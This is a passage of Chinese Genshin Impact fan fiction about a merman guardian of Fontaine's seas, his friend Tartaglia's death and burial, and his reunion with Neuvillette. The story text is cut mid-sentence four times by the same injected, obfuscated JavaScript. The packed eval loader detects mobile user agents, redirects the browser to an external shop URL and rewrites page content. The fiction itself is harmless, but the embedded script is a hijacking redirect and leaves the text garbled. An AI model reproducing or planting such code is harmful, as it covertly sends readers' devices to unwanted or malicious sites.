塔塔利亚向他讲述了她是如何成为纯水骑士,又如何随着首领伊黎耶四处团结部族反抗前王朝雷穆利亚,新枫丹建立起来了,纯水骑士也退出了历史舞台。伊黎耶不知所踪,纯水骑士销声匿迹,她拒绝了猎人们的邀请,孤身一人回到了童年的小木屋,修缮维新一番,居住生活下来了。 静原问她:“这样害怕寂寞,为什么不到人群中去生活呢?” “哥哥,我的家人,我的同胞,我的伙伴,我的信仰……他们都不在了。人群里没有我的归属,那里不是我的去处。在人群里,会更寂寞的。” 那些鲜活的,欢笑的脸蛋啊,她总是不自觉想起那些互相扶持走来的战友同伴,想起引领他们最后又失去消息的首领,想起自己小的时候,爷爷眼中倒映出来的纯粹与幸福。 “还能再见到你,已经很惊喜,很意外了。”塔塔利亚看向那双湖蓝色的眼睛,她总会想起那些生长在净水之畔的湖光铃兰,美丽、纯粹、洁净。 深海的精灵,对于时间的流逝感知一定十分迟钝吧。塔塔利亚万般怜爱的想着,垂下眼眸。 “你呼唤我的名字,我能感受到。想见我的时候,叫我就好。”静原一字一顿说着,“我叫卡吕普迪斯。” 他怕她忘了。 塔塔利亚低声念着,微笑起来:“我知道的,你告诉过我你的名字,我一直都记得的,哥哥。” “但是你也有你自己的生活啊。若只是想念,不必时时刻刻念叨。”塔塔利亚站起身来,笑得一如昨日少女,“还能见到你,我很高兴。” 静原该走了。走之前他回头望了望岸上挥手告别的塔塔利亚,什么也没有说,只是一头扎进海中,很快与海融为一体。 那不是他和塔塔利亚最后一次见面,对方身上依旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326994|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在着生机与活力。所以静原扎进海中处理偌大的海洋事物,偶尔浮出海面,能看到枫丹庭的恢宏与人类的船只白帆如云。 林区的纯水精灵偶尔和他谈起厄歌莉娅,她告诉静原,曾有一个人类向众水的女主人寻求纯水之杯,以祈求不再让族人遭遇悲伤和哀痛。 “后来怎么样了?”静原抱着一只水龙蜥幼崽抚摸,只当做是个故事。 纯水精灵娓娓道来:“她得知了自己,同胞,乃至全部枫丹人都背负着无法洗去的罪业,所以永远无法避免预言的降临,雷穆利亚王所恐惧的命运终会降临在她的同胞身上。” “无人能洗去罪业,正如无人能洗去杯中的血。”纯水精灵轻叹一声,“你是对的,卡吕普迪斯,这世上不存在能够实现一切心愿的圣物。” 静原微微挑眉:“你都知道了些什么?突然这么感慨。” “……我等所背负的罪业。” 这个有着自己消息渠道(八卦来源)的纯水精灵以前还是个小话唠,如今越发沉默寡言。总是对着水中自己的倒影怔怔愣愣,估计是没想到枫丹人和她是同根同源的生物。 静原听到这句话便懂得了,他低头看了看不明所以的水龙蜥:“从水中诞生,最后回归水,不也很好吗?” 精灵摇摇头:“卡吕普迪斯,你不懂得人类,也不懂得我们。” 给静原气笑了,当谁没投胎做过人啊。 “就当我不懂得人类吧。如今的人已经遗忘了过去,但遗忘并不意味不存在。只要高天的预言一日不实现,那就是永远悬挂在枫丹人头顶的达摩克利斯之剑。”静原告诉纯水精灵,“与其每天恐惧沉没的预言终有一日会带来,不如好好享受现在。命运最擅长让一切反抗命运的人做推动命运的帮手。” “难道就什么都不做吗?” “做了也没用,因为还不到时候。”静原想起旅行者还没有来到这个世上,莫名唏嘘起来。 但是纯水精灵懵懂却真挚的发问又让他陷入沉思:“什么时候才叫到了时候?如果不尝试,怎么知道没有用?如果没有前人尝试的积累,怎么能给后世者提供试错的经验?” “……因为这是【命运】啊。” “卡吕普迪斯,你是悲观主义者吗?” 我是,悲观主义者吗? 静原自问,好像确实有点。 纯水精灵没有得到回答也无意见,她只是告诉静原:“命运残酷,但正因为残酷,才要竭尽所能寻觅那一线生机。那个寻找纯水之杯的人类,她原本是一位骑士,得知了原罪的真相之后,剑身破碎不知所踪。但她一定不会沉湎于痛苦中不可自拔,而是努力寻求解除原罪的方法。” “包括继续寻找纯水之杯,沉溺于虚妄之事吗?” “……你知道啊。”纯水精灵疑惑,“你好像知道很多事情,为什么还要问我?” 他低头凝视澄澈的湖水,水面隐隐绰绰有那小小浮空岛屿的一点影子,随着尾巴的动作,水面如镜般碎裂。 “也许是我想寻找认同吧。” 他也是会寂寞的。 12. 生如蜉蝣 海中的人鱼哪里知道日月更替四季轮转的残酷呢? 静原接触的龙蜥是生长缓慢的族群,认识的纯水精灵朋友又是几百年如一日的不变,海中生物诞生又死亡,他根本无暇分神关注许多前生习以为常的生老病死。 等他想起许久没有听到塔塔利亚的消息时,等他浮出海面跃起,才看见了枫丹这样温暖的国度的冬天。 即使是冬天,林中草木也没有凋零太多。常青依旧青绿,橘黄依旧染着大地。 但是静原莫名感受到了这就是冬天。只有浮出海面的时候,他对于四季的变化才会敏锐一些。 小木屋旁边的田地已经荒芜,杂草丛生。门前曾被主人打理得很好的花圃此时空荡荡的,水壶闲置在一旁,风吹日晒的褪去了曾经鲜亮的颜色。 “塔塔?” 静原见无人回应,原本是坐在海崖上,后来双手支撑着身体,拖着沉重的尾巴在草地上滑动。自打跟着那维莱特学会了游泳后,他再没这样狼狈的行动了。 “塔塔!” 他拔高了声调,略略有些失声哑然。许久许久没有高声讲话了,嗓子一时间没法适应,干涩了好一会。 “塔塔。” 他全身都在使劲向前扑腾,尾巴也没少出力,总算是蹭到了小木屋门前,尾巴离开水有一会了,鳞片和皮肤都能感受到紧绷。 小木屋中传来微不可查的呼吸声,还有妇人嘶哑的微弱回应:“我在,哥哥……” 她听得到那愈发清晰的呼唤,原本以为只是梦中的声音,后来发觉是真实的,想要回应,但许久未进水米的嗓子和身体如同漏风的气球,干瘪得不成样子。 静原略长的耳尖动了动,捕捉到了屋内传来的细微动静。说真的,那声音比白日的老鼠还要轻。 他推开了门,屋内冷的有些厉害,炉子下只剩燃烬的灰。床上有个小鼓包,一层层厚被子压在上面。 那声音就是从这里传出来的。 静原凑近了些,扒着床边去看塔塔利亚憔悴的面容:“你很冷,塔塔。” “是啊……好冷。”塔塔利亚下意识露出笑容,气若游丝,“能帮我点燃炉火吗?” 火柴点燃,丢进干草和木柴中,噼啪燃烧起来,很快烘得屋子热热的。静原觉得自己物理层面上的口干舌燥,想寻找水源,却听见塔塔利亚微弱的呢喃。 “爷爷……好冷……塔塔好冷……” 静原已经不太记得当年救下他的那个爷爷长什么样子了,也不知晓对方的名字。 “塔塔,我在这里。”他伸手抚上老妇的额头,冰凉的吓人,银白的发丝也是乱糟糟的。 他拨开塔塔利亚的头发:“不要睡,塔塔。” “好累啊,爷爷……”她闭着眼睛,有些分不清是梦还是现实,“我想睡觉,好累……” “……”静原低下头去,几个呼吸之后又抬起头来,湖蓝的眼中一片波光,“那就睡吧,孩子。” “做个好梦。” 塔塔利亚做了一个梦,梦见了自己站在比她高出半个头的灶台边,身侧是高大的爷爷。爷爷胡子花白,但精神好的不得了,一身肌肉。 〔“塔塔,今天炖林猪的肉吃,放多多的洋葱,好不好?” “好!塔塔还要土豆!炖得香香的土豆!” 她听见自己这样大声回应,扒着灶台,目不转睛的盯着锅中烹饪的美味。 爷爷大声笑着,空出一直手来狠狠搓了搓她头顶的软发。 那是她许多珍贵回忆中微不足道但分外温暖的一角。〕 好想……再吃一次爷爷做的饭啊。 爷爷,塔塔好冷,又好饿。 塔塔想回家了。 静原单手抱着塔塔利亚瘦小的躯体,一路磨蹭回到了大海。手掌和下腹柔软的地方磨得血肉模糊,鳞片脱落。下半身落入海中的时候,鲜红的血丝丝缕缕从伤口渗了出来。给静原疼的龇牙咧嘴,五官狰狞。 静原抱着和年轻时相比过于瘦小的塔塔利亚绕着小岛游了半圈,绕到林子后面,地势平缓的地方去。 他知道这片林子里埋葬着塔塔的爷爷,母亲,以及多年前在这个岛上生活的部族。 这里的人们不讲究死后立碑,只是在林中无人处挑选一块地方埋葬,然后变成一座小小的土堆。来年春天,土堆上就会覆盖青草与野花。 人鱼的手指很锋利,但皮肤依旧不适应劳作。他抱走塔塔利亚的时候给她穿好了衣服,绕到林中后将其放在一旁安睡,挑了个有阳光的地方开始徒手挖坑。 原本是挖了个浅坑,足够埋葬这个孩子的。但是静原怕有野兽打扰逝者安宁,忍着痛又挖了足足四倍深的坑。 月上树梢头,等他将已经僵硬的,浮现尸斑的塔塔利亚薄葬,盖上泥土蜷着手指压实后,终于松了口气,力竭瘫软下来。 在离水的岸上只靠上半身挖坑,还是太为难他一条鱼了。 “你要是和夏天见你那样,还是个大高个,我可真没办法给你好好埋下去。”静原呼出一口浊气,“哥哥没用,没法给你带一床被子盖上取暖。这块地的阳光还算好,晒晒太阳,应该就不会那样冷了。” 然后是漫长的寂静。 血液与泥土融为一体,静原看着自己掀翻的几个指甲盖,以及血肉模糊没有鳞片保护的下腹,干脆靠在了土堆上休息:“伤口见不得水,我就不走了。按我老家的习俗,应该要给你守七天灵再下葬的,但是没那么多闲工夫打棺材……埋了之后的七天,我守着吧。” 静原真的就靠着小土堆躺了七个日夜,隔几个小时就去海里泡一泡尾巴,以免缺水干死,但是不敢潜泳,怕伤口触及海水痛死。 幸好他是在一条能与各族通话的鱼,鸥鸟和林中的小松鼠会送一些坚果浆果供他裹腹,维持身体最低的营养所需。 第八天的露水嘀嗒,唤醒了浅眠的静原。伤口已经结痂,也不再干涩的疼痛。静原知道自己该走了,他对着小土堆说:“塔塔,哥哥走了,想你的时候再回来看你。” 小土堆当然不会说话,静原也不需要回应。拖着疲惫的躯体一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326995|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头扎进海中,任由自己沉没,软软的瘫在海床上。 又是一个人了。 静原很少再浮上海面去观察枫丹建设成什么模样了,他在海中畅游,每日都随着洋流行动,把海洋摸得底朝天。 北海的鲸群数量还是不多,偶尔唱起族群的赞歌,静原有时会驻足停下来听一听,但大多数时间都匆匆游过。 那维莱特依旧没有消息,好像海中没有这号人物了。但是所有的龙裔都知道水龙王还在,静原能感受对方的生机,就没怎么关注这位给了他工作后就撒手不见龙影的老板。 静原依旧守卫着深海之下的原始胎海,洋流暗潮各司其职,寄生类藤壶被他从鲸群与海龟身上挖走。风平浪静的海面行过白帆千千,人类总是不厌其烦的探测海洋,投下各类仪器。有的会被回收,多数还是葬身鱼腹中,最后还是被他捡垃圾一样收集了起来。 不时海底地壳运动引起海啸巨浪,静原便趁机乘浪而上,将大包大包的人类制作的器械垃圾扔上岸,平定海潮,将船只推送回岸,落水的倒霉蛋扛起来丢到岸上。 汹涌的海浪会席卷船只吞没生命,这本来是水手船工,乃至每一个航海人都有的共识。但不知从何时起,枫丹的人们会自豪的抬头挺胸说:“枫丹有卡吕普迪斯,他平等的庇佑每一个海上的旅人。” 静原不知道这些外界的评价,也不知道厄歌莉娅过早的将他的名字宣告子民。 厄歌莉娅告诉枫丹的孩子们:“深海之中居住着海的孩子,若在海上遭遇海浪风暴,陷入漩涡海啸……危难之际,可呼唤他的名字,卡吕普迪斯。” “漩涡的主人会引领每一个迷航的孩子归乡。” 这是枫丹百年来流传最广的故事之一,可比肩纯水骑士伊黎耶。 名字是厄歌莉娅转告给枫丹人的,静原没有直接感受到名字的呼唤,而是由海代为转告。每一场海上风暴都有他的参与和控制,尽他所能,将伤亡压制到最小数。 静原没有吃一餐白饭,枫丹海域的海难遇难者人数是七国倒数第一,甚至连续几十年未曾出现溺亡者。 有幸运儿目击过他操控海浪平定四海的模样,有落海的孩童和老人被他抱起送回甲板,有商人的货物连同船只倾覆失声嚎啕。静原能做的就是让水流卷起沉没的船只推到岸边,给跪地嚎啕的商人留下深海无主的珍珠玉石。 他的朋友,伊黎耶林岛的纯水精灵诧异:“卡吕普迪斯,你可真是个怪人。从前你旁观人类却不出手,如今你避人不见却尽力救助……这又是为什么?” “不能因为我天生善良,乐于助人吗?”静原弯腰采集林岛盛开的湖光铃兰。 纯水精灵摇摇头:“你的确良善,但不多。改变总是有契机的,我只是不明白让你改变的契机是什么。” “……小孩不要太八卦。” “你可真讨厌,水的女主人为何这样青睐你,真是不明白……” 静原将铃兰编成花环,今夜的某个时刻,它会待在一个青草坡上。 “谁知道呢。” 13. 局外龙回来了 深海没有计算年月的历法,静原秉持着活一天算一天的信念,迷迷糊糊把日子过下来了。 下腹有一块颜色较浅,柔嫩异常。静原有时会抚摸那处皮肤,新生的鳞片还不足以保护躯体,他大概会许多年都不上岸爬行了。 手臂不知何时开始生长类似尾鳍一样的白色鳍,淡蓝色的鳞片也开始在上半身浮现,嘴里智齿发炎,疼的静原两个星期没好好吃饭。 那维莱特就是在这期间与他重逢的。 那天静原正躺在砗磲床上干瞪眼休息,肚子饿得咕咕叫,也懒得起身寻找食物。 “卡吕普迪斯,你怎么不去进食呢?” 年轻的水族之王一头白发泡在海中,略显稚嫩的面容凑近了些,静原侧目就能看见对方如同琉璃一般的眼睛。 真是美丽,色泽如同日光下的珍珠。 那维莱特扒着眷属的贝壳床:“你又开始挑食了吗?” 静原鼻子一皱,捂着腮帮子说:“智齿发炎了,牙疼吃不进。” 换在前生她大概会借机减肥,可惜今生作为一条男美人鱼体脂率低到吓人,没必要控制体重,连续几天不吃饭噌噌掉肉——他觉得自己快瘪了。 那维莱特看着他那一口寒光凛冽的尖锐鲨鱼牙,虽然不明白智齿发炎是什么病,但牙疼吃不进饭可以理解。 “你进入亚成年期了,卡吕普迪斯。”那维莱特观察过后得出结论,指出异常,“手臂新长出来的这些鳍状物能让你驾驭更加猛烈湍急的洋流,适应在深海的高速游动。” “我怎么什么都不知道?”静原抬起手臂,怎么那维莱特就知道这么多。 “你离开原始胎海过早,传承的记忆尚未觉醒彻底。”那维莱特带着他去寻找方便入口的食物,“这些净水的灵露,又叫初露之源,蕴含更加丰富原始的元素力……” 静原知道,他刚跟着那维莱特生活的时候,好长一段时间就是吃的这个。 婴儿奶粉一样的东西嘛,他知道。 那维莱特手虚虚一攥,几颗初露之源就到了他掌中:“不能吃需要咀嚼的食物,还是选择这个吧。” 静原两眼发愣:“可这不是给幼崽吃的吗?” “你正在亚成年时期,吃这个对身体有好处。”言外之意就是,你还属于幼崽范围内,顶多算大一点的幼崽。 人鱼沉默了一会,瞅了一眼看不出表情的王:“那维莱特,你也在亚成年期吧?” 他没记错的话,那维莱特年纪和他差不多。这股莫名其妙还是被当做孩子的尴尬蛮那啥的……他需要转移一下。 你也吃,你吃我就不尴尬了。 那维莱特双手交叠抱胸,一派正色:“龙王成年算法和龙裔不一样。”其实他心里也没底,尚且不明白自己为何以人类姿态诞生的水龙王哪有闲心情关注自己到了生长哪个阶段。 没有被龙王威严正儿八经恐吓过的静原胆大包天,往他嘴里塞初露之源:“你和我一样大,你也算亚成年,吃吧你。” 眷属过于强硬的姿态让龙王好脾气的包容了,最后两个人一起坐在贝壳床里吃初露之源,边吃边聊天。 “这么久没看见你,去哪里玩了?” “……我在最接近原始胎海的地方沉睡。”那维莱特看着掌中的初露之源,“原本应当是我巡守海域的,但是因为有你在,我的担子轻了不少,所以才能去做自己想做的事……谢谢。” “害,整这么客气干什么。”他摆摆手。 “我一直不太能理解为何我身为龙王,却以人类的姿态诞生于世。我尝试回到原始胎海寻找答案,但是水的僭主生活在那里,我不想见到她,所以没有回去。” 静原捂着腮帮子听得出神,这怎么像是被赶出家门了一样? 那维莱特低着头:“后来水的僭主离开了原始胎海,我作为祂的心脏,理所应当被祂接纳,但我没有真正的回去。” “因为从原始胎海诞生的生命,唯有死亡才能再次回归。” 静原语塞,沉默半天才开口:“那你找到答案了吗?” “很遗憾,并没有。” “没事,别气馁。真相不是那么容易就知道的,你还小呢。”静原拍拍他的背权当安慰,一不留神咬着自己大舌头了,疼的面容扭曲了一瞬,在那维莱特抬头之前恢复正常。 “谢谢你的安慰,卡吕普迪斯。”那维莱特道谢。 “之后打算去哪里?” “暂时生活在海中吧,我想还是待在最适合自己的地方比较好……之前就想问你了,怎么这里磨出了这样大的疤痕?谁欺负你了吗?”他保证会为自己的眷属找回场子的。 “没人欺负我,就是……我遇到了一个人类。”他向王讲述了自己和人类女孩塔塔利亚的结缘,人鱼本就不是适合在陆地生活的种族,想要行动除了咕涌就剩爬行了。抱着人类行动,挖坑将其埋葬。上半身要用双手劳作,于是支撑身体的重任交给了下半身,下腹贴着粗粝的地面长时间摩擦,磨掉鳞片不是很正常吗? 那维莱特听他讲完这个并不漫长,甚至是有些短暂的故事,发出疑问:“和人类相处会让你感到痛苦吗?” “怎么会……” “那你为何会流泪呢?”水龙真挚发问,“只有悲伤痛苦的时候,生命才会流泪哭泣吧?” 静原看着那些漂浮在眼前的乳白颗粒物,一抹脸,手上果然多出几颗这样的珠子。 他说:“高兴的时候也会喜极而泣……虽然,我的确有些难过,但并不痛苦。” 他说:“人类寿命短暂,我知道她终有一日会死亡,回归水的怀抱。甚至比我预期的更早……我可以释怀,就是有些寂寞了。” 他在认识那维莱特之前就认识了塔塔爷孙俩,说他们是自己在提瓦特的第一个情感锚点也不为过。只是生如蜉蝣,死于天地,他只能旁观,什么都做不了。 这样悲伤夹杂着遗憾的感情让那维莱特觉得陌生,他思考良久也只是说:“你在情感上很接近人类。” 静原捻着几颗珠子,微微用力便碾成粉末:“复杂的情感会影响判断。”上辈子他就巴不得修无情道,或者遁入空门不理俗世,但是做不到。 他到底是喜欢这人世间的。 那维莱特回来后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326996|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和静原同频生活了一段时间。龙王并不愿意浮上海面,但是静原每次救完人类,或者是去林岛照顾完龙蜥,和纯水精灵交流八卦回来后,听的最入迷的也是他。 静原并不刻意引导那维莱特对人类产生多么温暖的正面印象,也不曾抹黑哪个族群,只是尽可能客观公正的讲述故事——把纯水精灵对厄歌莉娅的彩虹屁赞美通通剔除。有时候还会带回来一些小东西:幽光星星,湖光铃兰,虹彩蔷薇,茉洁草,柔灯铃之类的…… 海水会腐蚀娇艳的花朵,但是静原对于带花回来这件事乐此不疲。后来不知道哪根筋松动开窍了,找了瓶子给那维莱特带水回来。 “这是什么?”那维莱特捏着光洁的净瓷瓶,木塞密封性很好,不怕掺入杂类。 静原牙齿长好了,啃着汐藻说:“纯净的湖水,算是贡品吧。” “嗯?” “那些人类会往海里丢东西,祈求出海风平浪静平安归来,美其名曰上供。我给你上贡,你也保佑保佑我。” 那维莱特有些好笑,这家伙前些日子还说人类真讨厌,总往海里扔垃圾。但是他点点头:“好,我会保护你。你想要什么?”他都可以赠予。 力量,权柄,还是其他? 静原一甩尾巴,很光棍的说:“不知道,暂时存着吧。” 其实就是找个理由给老板带点礼物,顺便打趣一下,满足自己的恶趣味。 那维莱特信以为真,真的记下了这个许愿,等着哪一天给眷属实现。等他未来某一天突然明白静原只是找个借口的时候,愣怔了一会,然后柔和的笑了笑。 伊黎耶群岛的纯净湖水味道很不错,清冽甘甜,有着最为纯粹洁净的水元素力。不得不说,静原算是这辈子最会给那维莱特送礼的人了。 你以为他是记起来游戏设定:那维莱特喜欢品水吗? 不。 静原此人,挑食得要命,偏偏自我感觉良好。前生鱼多刺的不吃,生的不吃,汤炖不白的不吃;内陆兽肉老的不吃,腥臊的不吃,佐料不对的不吃;生番茄不吃软的,熟番茄不吃脆的;茄子切片的不吃,切条太油也不吃;软的水果不吃,脆的熟食不吃;口味太重的不吃,清淡的又嫌嘴里没滋味…… 听到这里大概脾气爆的已经将其代入自家孩子,恨不得将他打死八百回了。 但静原自我感觉良好的原因,很重要的一点在于:他不会拿自己的要求去苛责别人,却竭尽全力给别人高品质的食物享受。 换句话来说,别人免费给他做饭他一声不吭就是吃,因为他认为不做饭不花钱的人没资格嘴巴挑剔。但他自己给别人做饭带饭一定得是最合人口味的,给人熨帖得心里温暖。 静原的老妈没有打死这挑嘴孩子也是因为他吃饭从不嘴上胡咧咧,情绪价值拉满。 他发现那维莱特喜欢水的滋味,也许是有前生的记忆,潜意识提醒,更多的还是因为他会下意识关注身边人的饮食习惯。 那维莱特也不怎么进食鱼虾贝类,他是元素生命,天天喝水吸收水元素力就行,静原羡慕死了。 他啃了三天生鱼,眼睛都红了。 14. 山中无老虎 在第不知道多少次俯冲下游,停住被回落的长发塞了一嘴糊了一脸之后,静原想起剪头发了。 那维莱特抱着海獭游过:“你可以把头发梳起来,就像人类那样。” 静原眼睛一眯,龙王肯定偷摸浮上岸悄悄观察人类了,但是这也没什么,问题在于:“我没有皮筋。” 那维莱特歪头:“什么是皮筋?” “嗯……就扎头发用的……”静原想了想,发现人类通商贸易发达,他完全可以找人类交易。 以前没想到主要是因为,那个时候人类商船不敢涉足远海。他也没想到作为一条鱼还要绑好头发。 “那维莱特你提醒我了,可以找人类买。”静原想起刚刚变成人鱼那阵兴致勃勃收集的钱币珍珠宝石,现在完全可以用来跟人类交易。璃月和枫丹须弥的贸易量已经到了很客观的程度,各国商船的模样都不同,海洋搜救员卡吕普迪斯对这方面很了解。 他看向跟海獭玩的那维莱特:“今天晚上有一场暴雨,海面不安全,我明天再回来,也给你也捎根发带……你喜欢什么颜色?” 对这类事物并无概念的那维莱特选择都行。 他真的觉得都行。 万恶的都行。 静原哼哼唧唧的甩着尾巴离开,去海底洞穴找他百年前藏起来的私房钱去了。 当晚的确有海上风暴,狂风骤浪吓得海上船只在风雨中剧烈摇晃飘忽不定,商船水手祈祷各国神明保佑。 你可以听到“巴巴托斯大人”“帝君保佑”“仁慈的水神啊”“大慈树王”等等信仰称呼。当然,海是静原的主场,喊“卡吕普迪斯救命”的也不在少数。 在枫丹海上喊卡吕普迪斯救命是真的有用,静原先把外围的船只稳定下来,操控海浪将其送远离开暴雨区域,再扑腾着到中心区域,一拍尾巴,将海自身酝酿的巨浪消弭。 船上有妇孺孩童。这鬼天气,又是打雷又是下雨,船身不稳剧烈摇晃,小孩受惊哇哇大哭,给静原哭得一个头两个大,偏偏不能发脾气,还得小心暴雨糊住掌舵手眼睛,被人开着船来撞他。 这活真不是人干的。 静原一边在心里骂人一边推开船只。暴雨一直下,疾风骤雨,船上货物和豆大雨珠劈头盖脸噼里啪啦好一通砸进海,给商人吓得哭爹喊娘恨不得跳进海里打捞他们的宝贝货。 真是吵啊。 静原摊开手,海浪骤然拔起,漩涡湍流汹涌,裹挟着货箱打转。 他记得自己不管风调雨顺来着。 看目前情况是没法让人全须全尾通过这片海域抵达目的地了,但是让他们打道回府或者在就近的岸边休息还是可以做得到。 就是人类自己要处理的麻烦事会多一些。 “抓稳了。” 他这样说着,也不管人家听不听得到,身处海中心的龙卷之上,振臂即是涌上来的海浪。将几十艘货轮游轮送到高处,骤然的滞空失重感让人无措。静原将手掌往下压,然后双臂向外伸。船只被浪裹挟着绕了漩涡半圈,尖叫惊呼作为背景音,被推着四散而开,脱离中心暴雨区域。 静原想起来前生公交路堵,执勤交警指挥各方位车辆有序行过的模样。 他和专业人员没法比,但是力大砖飞,保证没人遭遇海难,没有船只倾覆还是没问题的。 至余掉落海中的货物……超重,没有固定好,一个浪打来就掉落海中,船没沉就算好了。 静原骂骂咧咧给人把货箱给送上岸,其中不少是茶叶,估计商人要赔得只剩裤衩子了。 船送走,人撤离,再该收拾天气了。 商人连滚带爬在枫丹本地人的指引下,不消半天就在一个简易港口海岸找到了他落海的那十几个货箱。枫丹船工招呼他过来:“你就是这批货的主人?算你运气好,卡吕普迪斯大人送来得早,又是大晴天,已经干了不少……” 可是成品的娇贵茶叶哪里经得住这样打湿又闷着箱子暴晒? 港口码头的船工本着不乱开箱子的道德,一直没打开海浪送上岸的货箱,只是放到阳光好的地上晒。 但出口的茶叶这玩意,那真是娇贵。海水一浸,太阳一晒,基本就完了。就算后面精细的烘干,茶香也会大大流失,味道只能被归于次品中的次品,连个零头都赚不回来。 “岩王爷哎!我这顶顶好的松萝仙芽——”商人陡然尖叫一声,双眼翻白,两眼一闭直挺挺的倒了。 随行的小厮把他家老爷死死架住,岸上又是一阵兵荒马乱,商人醒后捶胸顿足哭诉自己不该着急来枫丹赶着卖茶叶的,明明距离璃月第二批新茶上市也有一段时间,完全可以多等一等。 港口船工安慰他:“想开点老兄,你该庆幸这样大的风暴都无人丧命,能平安上岸就算神明保佑了。” 商人哭丧着脸:“亏钱比丧命都难受啊!!” 得,没的说了。 旁边倾听许久的老船工摇头唏嘘:“这回的确是损失惨重,不怪你心里难受。” 手头没活计的众人唏嘘,纷纷感叹着。 “要是卡吕普迪斯大人会预测海上天气,提前告知就好了……” “你想得多美呢?人家肯救命就不错了。” “可是,可是卡吕普迪斯大人不是水神大人任命的眷属吗?” “有这回事?水神大人的眷属不是纯水精灵吗?” “那不然卡吕普迪斯大人怎么这样无条件守卫海洋?水神大人还让我们信任他?” “嘶——有几分道理。” 老船工看向自顾自伤心的商人,没忍住走过去拍拍他的肩膀:“打起精神来,要实在难受就对着海哭吧。兴许卡吕普迪斯大人听到你的哭声,会送你东山再起的珍珠宝石……” 商人一抹眼泪,哽咽道:“这样好的事,怎么就能落我头上?” “从前也有个商人从璃月而来,因为海浪倾覆,损失了他准备交货的瓷器古玩,那可真是贵重的物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326997|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件。那个时候他对着海哭得撕心裂肺,卡吕普迪斯大人就是在那天傍晚浮上海面,扔给他成色极好的珍珠、宝石、摩拉……后来商人回到了他的国家。有人效仿他对着海哭,但弄虚作假的全都没有回应,反倒是遗失了八音盒的小女孩拿到了海的补偿……”老船工混浊的眼睛看向深蓝的海洋,“卡吕普迪斯大人能从水中汲取感情,你若真无法接受这样大的亏损,也没钱回家,大可以试一试。” 商人哽咽:“怎么听上去像是在给岩王爷他老人家哭诉一样……” 随从一愣,尬笑:“老爷哟,您可小点声吧。” 商人并没有这样试,他擦干净眼泪站起来:“我就是心里难过,哭出来就好了。这样狼狈不知礼数的模样真是让您见笑了……” 船工们的惊呼让商人侧目:“卡吕普迪斯大人!” 静原没想到他就是露个头就能被人认出来,岸上枫丹的人类准确叫出他今生的名字,静原顿了顿,上半身彻底浮出水面:“那个茶叶掉海里的倒霉蛋在哪?” 人鱼的声音如海妖协奏,空灵而奇妙,但是人人都听得懂他的语言,船工们手齐刷刷指向正打理自身的璃月商人。 老船工静静注视着缓缓靠近码头的人鱼,对迟疑的商人说:“去吧,那是枫丹海域的守护者,你大可以信任他。” 商人边走边拾缀自己:“卡吕普迪斯……先生。” 静原一抬手,大把的粉红,浅紫,金色珍珠拢在掌心,日光下熠熠生辉:“哭得我在另一片海域都听见了……你和你老祖宗一样,嗓门大又倒霉。” 商人并没有接,而是拱手作揖行礼:“您真是太客气了,海上行商本就风险重重,我应当自己担起后果,而不是让您托底。” “您见过我家老祖宗?他留下的手记中的确提起过,枫丹海的鲛人赠予他回乡的路费和东山再起的资金……我受您恩惠已久,实在是……” 那个运瓷器古玩交货但是掉海里的倒霉蛋就是这商人老祖宗,静原看着百年前后几乎一模一样的脸蛋,真是无奈:“只有你们家的船超重超载,几百年都是如此。拿着吧,我不是谁都给钱的。” 商人这批血本无归,得在枫丹打几年工才能凑齐回家路费,以及给客户一个交代。静原守卫海洋这么多年,谁急需钱周转他一眼就看得出来,能拉一把是一把。想不开跳海的最好没有,死在他家里,晦气。 “我真是……不知道怎么回报您才好了……” 静原嫌弃摆手:“别超载了,船死沉,推起来差点就要侧翻。” 商人只取走了三分之一的珍珠,剩下的静原全给岸上工人了,他自己一甩尾巴离开,那些稀有的有色珍珠却被人爱不释手的把玩。后有人听到这里有珍珠,派人收购,也算是给船工们补贴家用了。 静原对着汪洋大海直挠头,最后朝着某个方向去了。 那是枫丹的新港口,柔灯港。 静原:完犊子了,谁家商船会卖散件货? 